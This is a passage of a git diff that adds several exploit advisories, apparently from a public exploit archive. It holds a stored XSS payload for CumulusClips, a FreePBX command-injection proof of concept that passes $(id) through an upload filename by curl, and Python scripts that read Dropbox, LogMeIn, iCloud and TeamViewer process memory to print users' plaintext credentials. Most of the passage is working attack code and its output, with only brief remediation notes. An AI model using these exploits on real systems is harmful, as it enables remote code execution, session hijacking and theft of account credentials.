Cookie: PHPSESSID=etia0ncfb00m0ma1834cf1dds5
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 215
|
||||
|
||||
title=www%3Cscript%3Ealert%281%29%3C%2Fscript%3E&tags=www%3Cscript%3Ealert%281%29%3C%2Fscript%3E&cat_id=1&description=www%3Cscript%3Ealert%281%29%3C%2Fscript%3E&private_url=DyZbn8m&submitted=TRUE&button=Update+Video
|
||||
|
||||
reflected on main site:
|
||||
|
||||
GET /cumulusclips/ HTTP/1.1
|
||||
Host: 192.168.122.203
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Referer: http://192.168.122.203/
|
||||
Connection: close
|
||||
|
||||
RESPONSE:
|
||||
...
|
||||
div class="video">
|
||||
<div class="thumbnail">
|
||||
<a href="http://192.168.122.203/cumulusclips/videos/1358/www-script-alert-1-script/" title="www<script>alert(1)</script>">
|
||||
<img width="165" height="92" src="http://192.168.122.203/cumulusclips/cc-content/uploads/thumbs/Ufi5q2RKsQtXwludfZnR.jpg" />
|
||||
...
|
||||
|
||||
|
||||
Post exploitation:
|
||||
Since it is posible to steal the cookie and impersonate admin there is possibility for a code execution and unrestricted file upload in admin panel.
|
||||
|
||||
Remediation:
|
||||
Validate user input for special characters (preferable white list), use HTTPonly header
|
122
platforms/php/webapps/40345.txt
Executable file
122
platforms/php/webapps/40345.txt
Executable file
|
@ -0,0 +1,122 @@
|
|||
Vulnerable software : Freepbx
|
||||
Tested versions : 13.0.x < 13.0.154
|
||||
vendor : freepbx.org
|
||||
Author : i-Hmx
|
||||
Email : n0p1337@gmail.com
|
||||
Home : sec4ever.com
|
||||
|
||||
Knock knock people , Eg-R1z on the mic again . .
|
||||
Freepbx is vulnerable to unauthenticated remote command execution due to multiple weak inputs validation as well as partial authenticaion bypass
|
||||
Need more technical shit?!
|
||||
Here u go
|
||||
|
||||
File : /var/www/html/admin/libraries/Composer/vendor/symfony/process/Symfony/Component/Process/Process.php
|
||||
class Process
|
||||
{
|
||||
const ERR = 'err';
|
||||
const OUT = 'out';
|
||||
|
||||
const STATUS_READY = 'ready';
|
||||
const STATUS_STARTED = 'started';
|
||||
const STATUS_TERMINATED = 'terminated';
|
||||
|
||||
Line 145:
|
||||
public function __construct($commandline, $cwd = null, array $env = null, $input = null, $timeout = 60, array $options = array())
|
||||
{
|
||||
if (!function_exists('proc_open')) {
|
||||
throw new RuntimeException('The Process class relies on proc_open, which is not available on your PHP installation.');
|
||||
}
|
||||
|
||||
--===>>> $this->commandline = $commandline;
|
||||
$this->cwd = $cwd;
|
||||
|
||||
|
||||
Line 275
|
||||
$commandline = $this->commandline;
|
||||
|
||||
if ('\\' === DIRECTORY_SEPARATOR && $this->enhanceWindowsCompatibility) {
|
||||
$commandline = 'cmd /V:ON /E:ON /C "('.$commandline.')';
|
||||
foreach ($this->processPipes->getFiles() as $offset => $filename) {
|
||||
$commandline .= ' '.$offset.'>'.ProcessUtils::escapeArgument($filename);
|
||||
}
|
||||
$commandline .= '"';
|
||||
|
||||
if (!isset($this->options['bypass_shell'])) {
|
||||
$this->options['bypass_shell'] = true;
|
||||
}
|
||||
}
|
||||
|
||||
--===>>> $this->process = proc_open($commandline, $descriptors, $this->processPipes->pipes, $this->cwd, $this->env, $this->options);
|
||||
|
||||
Class is being called at
|
||||
|
||||
File : /var/www/html/admin/libraries/media/Media/Driver/Drivers/SoxShell.php
|
||||
Line 118
|
||||
public function convert($newFilename,$extension,$mime) {
|
||||
switch($extension) {
|
||||
case "wav":
|
||||
switch($this->extension) {
|
||||
case "sln":
|
||||
$process = new Process($this->binary.' -t raw -s -b 16 -r 8000 '.$this->track.' -r '.$this->options['samplerate'].' -b '.$this->options['bitdepth'].' -c 1 '.$newFilename);
|
||||
break;
|
||||
case "sln12":
|
||||
$process = new Proces.................
|
||||
case "wav16":
|
||||
---===>> $process = new Process($this->binary.' '.$this->track.' -t wav -b 16 -r 16000 -c 1 '.$newFilename);
|
||||
break;
|
||||
default:
|
||||
$process = new Process($this->binary.' '.$this->track.' -c 1 '.$newFilename);
|
||||
break;
|
||||
}
|
||||
if(!$this->background) {
|
||||
---===>> $process->run();
|
||||
if (!$process->isSuccessful()) {
|
||||
throw new \RuntimeException($process->getErrorOutput());
|
||||
}
|
||||
} else {
|
||||
$process->start();
|
||||
if (!$process->isRunning()) {
|
||||
throw new \RuntimeException($process->getErrorOutput());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Sox shell can be called via multiple parts of the fpbx including the music module
|
||||
File : admin/modules/music/Music.class.php
|
||||
Line : 407
|
||||
$name = $dname . '.' . $extension;
|
||||
move_uploaded_file($tmp_name, $this->tmp."/".$name);
|
||||
$media->load($this->tmp."/".$name);
|
||||
foreach($_POST['codec'] as $c) {
|
||||
--==>> $media->convert($path."/".$dname.".".$c);
|
||||
}
|
||||
unlink($this->tmp."/".$name);
|
||||
|
||||
this part can be accessed by unauthenticated user and so it's obvious command execution vulnerable :/
|
||||
|
||||
POC :
|
||||
[root:/lab/fpbx]# curl -i -s -k -X 'POST' \
|
||||
-H 'User-Agent: sec4ever 1337s' -H 'Referer: http://x.x.x.x/admin/ajax.php' -H 'Content-Type: multipart/form-data; boundary=---------------------------317092200613369' \
|
||||
--data-binary $'-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"extension\"\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"language\"\x0d\x0a\x0d\x0aen\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"filename\"\x0d\x0a\x0d\x0afa.wav\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"codec[1]\"\x0d\x0a\x0d\x0agsm\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"id\"\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------317092200613369\x0d\x0aContent-Disposition: form-data; name=\"files[1]\"; filename=\"$(id).wav\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aEg-R1z ruling you ;)\x0d\x0a-----------------------------317092200613369\x0d\x0a\x0d\x0a' \
|
||||
'http://x.x.x.x/admin/ajax.php?module=music&command=upload'
|
||||
HTTP/1.1 500 Internal Server Error
|
||||
Date: Wed, 07 Sep 2016 17:33:02 GMT
|
||||
Server: Apache/2.2.15 (CentOS)
|
||||
X-Powered-By: PHP/5.3.28
|
||||
Set-Cookie: lang=en_US
|
||||
Set-Cookie: PHPSESSID=6j9ei3pn1btu2o6jc1j6mngmp4; path=/
|
||||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||
Pragma: no-cache
|
||||
X-Ignore-This: 1
|
||||
Connection: close
|
||||
Transfer-Encoding: chunked
|
||||
Content-Type: application/json
|
||||
|
||||
{"error":{"type":"RuntimeException","message":"\/usr\/bin\/sox formats: can't open input file `groups=498(asterisk).wav': No such file or directory\n","file":"\/var\/www\/html\/admin\/libraries\/media\/Media\/Driver\/Drivers\/SoxShell.php","line":194}}#
|
||||
|
||||
Patching : can be done via adding escapeshellarg to soxshell inputs
|
||||
Almost fixed in fpbx later versions
|
||||
# in this version spaces,',`,/,\,<,>,?,&,| are filtered , which can be super easily bypassed
|
||||
# make a priv8 , burn another ;)
|
||||
# From Eg-R1z with Love xD
|
242
platforms/windows/local/40341.txt
Executable file
242
platforms/windows/local/40341.txt
Executable file
|
@ -0,0 +1,242 @@
|
|||
#####
|
||||
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
|
||||
# Tested on Windows Windows Server 2012 R2 64bit, English
|
||||
# Vendor Homepage @ https://www.dropbox.com
|
||||
# Date 06/09/2016
|
||||
# Bug Discovery by:
|
||||
#
|
||||
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
|
||||
# http://www.black-rose.ml
|
||||
#
|
||||
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
|
||||
# https://1-33-7.com/
|
||||
#
|
||||
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
|
||||
# http://korznikov.com/
|
||||
#
|
||||
#####
|
||||
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
|
||||
# A potential attacker could reveal the supplied username and password in order to gain access to account.
|
||||
#####
|
||||
# Proof-Of-Concept Code:
|
||||
|
||||
import time
|
||||
import urllib
|
||||
from winappdbg import Debug, Process
|
||||
|
||||
username = ''
|
||||
password = ''
|
||||
found = 0
|
||||
filename = "Dropbox.exe"
|
||||
process_pid = 0
|
||||
memory_dump = []
|
||||
|
||||
debug = Debug()
|
||||
try:
|
||||
print "[~] Searching for pid by process name '%s'.." % (filename)
|
||||
time.sleep(1)
|
||||
debug.system.scan_processes()
|
||||
for (process, process_name) in debug.system.find_processes_by_filename(filename):
|
||||
process_pid = process.get_pid()
|
||||
if process_pid is not 0:
|
||||
print "[+] Found process with pid #%d" % (process_pid)
|
||||
time.sleep(1)
|
||||
print "[~] Trying to read memory for pid #%d" % (process_pid)
|
||||
|
||||
process = Process(process_pid)
|
||||
for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
|
||||
memory_dump.append(process.read(address,100))
|
||||
for i in range(len(memory_dump)):
|
||||
email_addr = memory_dump[i].split('email=')[1]
|
||||
tmp_passwd = memory_dump[i].split('password=')[1]
|
||||
username = email_addr.split('\x00')[0]
|
||||
password = tmp_passwd.split('&is_sso_link=')[0]
|
||||
if username != '' and password !='':
|
||||
found = 1
|
||||
print "[+] Credentials found!\r\n----------------------------------------"
|
||||
print "[+] Username: %s" % urllib.unquote_plus(username)
|
||||
print "[+] Password: %s" % password
|
||||
if found == 0:
|
||||
print "[-] Credentials not found! Make sure the client is connected."
|
||||
else:
|
||||
print "[-] No process found with name '%s'." % (filename)
|
||||
|
||||
debug.loop()
|
||||
finally:
|
||||
debug.stop()
|
||||
|
||||
|
||||
|
||||
######################################################################
|
||||
|
||||
#####
|
||||
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
|
||||
# Tested on Windows Windows Server 2012 R2 64bit, English
|
||||
# Vendor Homepage @ https://secure.logmein.com/home/en
|
||||
# Date 06/09/2016
|
||||
# Bug Discovery by:
|
||||
#
|
||||
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
|
||||
# http://korznikov.com/
|
||||
#
|
||||
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
|
||||
# https://1-33-7.com/
|
||||
#
|
||||
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
|
||||
# http://www.black-rose.ml
|
||||
#
|
||||
#####
|
||||
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
|
||||
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
|
||||
#####
|
||||
# Proof-Of-Concept Code:
|
||||
|
||||
import time
|
||||
import urllib
|
||||
from winappdbg import Debug, Process
|
||||
|
||||
username = ''
|
||||
password = ''
|
||||
found = 0
|
||||
filename = "LMIIgnition.exe"
|
||||
process_pid = 0
|
||||
memory_dump = []
|
||||
|
||||
debug = Debug()
|
||||
try:
|
||||
print "[~] Searching for pid by process name '%s'.." % (filename)
|
||||
time.sleep(1)
|
||||
debug.system.scan_processes()
|
||||
for (process, process_name) in debug.system.find_processes_by_filename(filename):
|
||||
process_pid = process.get_pid()
|
||||
if process_pid is not 0:
|
||||
print "[+] Found process with pid #%d" % (process_pid)
|
||||
time.sleep(1)
|
||||
print "[~] Trying to read memory for pid #%d" % (process_pid)
|
||||
|
||||
process = Process(process_pid)
|
||||
for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
|
||||
memory_dump.append(process.read(address,150))
|
||||
for i in range(len(memory_dump[0])):
|
||||
email_addr = memory_dump[i].split('email=')[1]
|
||||
tmp_passwd = memory_dump[i].split('password=')[1]
|
||||
username = email_addr.split('&hiddenEmail=')[0]
|
||||
password = tmp_passwd.split('&rememberMe=')[0]
|
||||
if username != '' and password !='':
|
||||
found = 1
|
||||
print "[+] Credentials found!\r\n----------------------------------------"
|
||||
print "[+] Username: %s" % urllib.unquote_plus(username)
|
||||
print "[+] Password: %s" % password
|
||||
break
|
||||
if found == 0:
|
||||
print "[-] Credentials not found! Make sure the client is connected."
|
||||
else:
|
||||
print "[-] No process found with name '%s'." % (filename)
|
||||
|
||||
debug.loop()
|
||||
finally:
|
||||
debug.stop()
|
||||
|
||||
|
||||
|
||||
######################################################################
|
||||
|
||||
#####
|
||||
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
|
||||
# Tested on Windows Windows 7 64bit, English
|
||||
# Vendor Homepage @ https://www.apple.com/
|
||||
# Product Homepage @ https://support.apple.com/en-us/HT204283
|
||||
# Date 07/09/2016
|
||||
# Bug Discovery by:
|
||||
#
|
||||
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
|
||||
# http://www.black-rose.ml
|
||||
#
|
||||
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
|
||||
# https://1-33-7.com/
|
||||
#
|
||||
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
|
||||
# http://korznikov.com/
|
||||
#
|
||||
#####
|
||||
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
|
||||
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
|
||||
# Funny eh?!
|
||||
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
|
||||
#
|
||||
# Authors are not responsible for any misuse or demage which caused by use of this script code.
|
||||
# Please use responsibly.
|
||||
#####
|
||||
# Proof-Of-Concept Code:
|
||||
|
||||
import time
|
||||
import urllib
|
||||
from winappdbg import Debug, Process
|
||||
|
||||
def b2h(str):
|
||||
return ''.join(["%02X " % ord(x) for x in str]).strip()
|
||||
|
||||
def h2b(str):
|
||||
bytes = []
|
||||
str = ''.join(str.split(" "))
|
||||
for i in range(0, len(str), 2):
|
||||
bytes.append(chr(int(str[i:i+2], 16)))
|
||||
return ''.join(bytes)
|
||||
|
||||
usr = ''
|
||||
pwd = ''
|
||||
found = 0
|
||||
filename = "iCloud.exe"
|
||||
process_pid = 0
|
||||
memory_dump = []
|
||||
|
||||
debug = Debug()
|
||||
try:
|
||||
print "#########################################################################"
|
||||
print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
|
||||
print "# Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
|
||||
print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
|
||||
print "#\t\t\tPlease use responsibly.\t\t\t\t#"
|
||||
print "#########################################################################\r\n"
|
||||
print "[~] Searching for pid by process name '%s'.." % (filename)
|
||||
time.sleep(1)
|
||||
debug.system.scan_processes()
|
||||
for (process, process_name) in debug.system.find_processes_by_filename(filename):
|
||||
process_pid = process.get_pid()
|
||||
if process_pid is not 0:
|
||||
print "[+] Found process with pid #%d" % (process_pid)
|
||||
time.sleep(1)
|
||||
print "[~] Trying to read memory for pid #%d" % (process_pid)
|
||||
|
||||
process = Process(process_pid)
|
||||
for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
|
||||
memory_dump.append(process.read(address,50))
|
||||
|
||||
try:
|
||||
str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
|
||||
usr = h2b(str.split(' 00')[0])
|
||||
except:
|
||||
pass
|
||||
|
||||
memory_dump = []
|
||||
for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
|
||||
memory_dump.append(process.read(address,60))
|
||||
try:
|
||||
str = b2h(memory_dump[0]).split('07 00 02 09')[1]
|
||||
pwd = h2b(str.split(' 00')[0])
|
||||
except:
|
||||
pass
|
||||
|
||||
if usr != '' and pwd !='':
|
||||
found = 1
|
||||
print "[+] iCloud Credentials found!\r\n----------------------------------------"
|
||||
print "[+] Username: %s" % usr
|
||||
print "[+] Password: %s" % pwd
|
||||
if found == 0:
|
||||
print "[-] Credentials not found!"
|
||||
else:
|
||||
print "[-] No process found with name '%s'." % (filename)
|
||||
|
||||
debug.loop()
|
||||
finally:
|
||||
debug.stop()
|
74
platforms/windows/local/40342.py
Executable file
74
platforms/windows/local/40342.py
Executable file
|
@ -0,0 +1,74 @@
|
|||
#####
|
||||
# TeamViewer 11.0.65452 (64 bit) Local Credentials Disclosure
|
||||
# Tested on Windows 7 64bit, English
|
||||
# Vendor Homepage @ https://www.teamviewer.com/
|
||||
# Date 07/09/2016
|
||||
# Bug Discovered by Alexander Korznikov (https://www.linkedin.com/in/nopernik)
|
||||
#
|
||||
# http://www.korznikov.com | @nopernik
|
||||
#
|
||||
# Special Thanks to:
|
||||
# Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
|
||||
# Yakir Wizman (https://www.exploit-db.com/author/?a=1002) | (http://www.black-rose.ml)
|
||||
#
|
||||
#####
|
||||
# TeamViewer 11.0.65452 is vulnerable to local credentials disclosure, the supplied userid and password are stored in a plaintext format in memory process.
|
||||
# There is no need in privilege account access. Credentials are stored in context of regular user.
|
||||
# A potential attacker could reveal the supplied username and password automaticaly and gain persistent access to host via TeamViewer services.
|
||||
#
|
||||
# Proof-Of-Concept Code:
|
||||
#####
|
||||
|
||||
from winappdbg import Debug, Process, HexDump
|
||||
import sys
|
||||
import re
|
||||
|
||||
filename = 'TeamViewer.exe'
|
||||
|
||||
def memory_search( pid ):
|
||||
found = []
|
||||
# Instance a Process object.
|
||||
process = Process( pid )
|
||||
# Search for the string in the process memory.
|
||||
|
||||
# Looking for User ID:
|
||||
userid_pattern = '([0-9]\x00){3} \x00([0-9]\x00){3} \x00([0-9]\x00){3}[^)]'
|
||||
for address in process.search_regexp( userid_pattern ):
|
||||
found += [address]
|
||||
|
||||
print 'Possible UserIDs found:'
|
||||
found = [i[-1] for i in found]
|
||||
for i in set(found):
|
||||
print i.replace('\x00','')
|
||||
|
||||
found = []
|
||||
# Looking for Password:
|
||||
pass_pattern = '([0-9]\x00){4}\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00'
|
||||
for address in process.search_regexp( pass_pattern ):
|
||||
found += [process.read(address[0]-3,16)]
|
||||
if found:
|
||||
print '\nPassword:'
|
||||
if len(found) > 1:
|
||||
s = list(set([x for x in found if found.count(x) > 1]))
|
||||
for i in s:
|
||||
pwd = re.findall('[0-9]{4}',i.replace('\x00',''))[0]
|
||||
print pwd
|
||||
else:
|
||||
print re.findall('[0-9]{4}',found[0].replace('\x00',''))[0]
|
||||
|
||||
return found
|
||||
|
||||
debug = Debug()
|
||||
try:
|
||||
# Lookup the currently running processes.
|
||||
debug.system.scan_processes()
|
||||
# For all processes that match the requested filename...
|
||||
for ( process, name ) in debug.system.find_processes_by_filename( filename ):
|
||||
pid = process.get_pid()
|
||||
|
||||
memory_search(pid)
|
||||
|
||||
finally:
|
||||
debug.stop()
|
||||
|
||||
|
Loading…
Add table
Reference in a new issue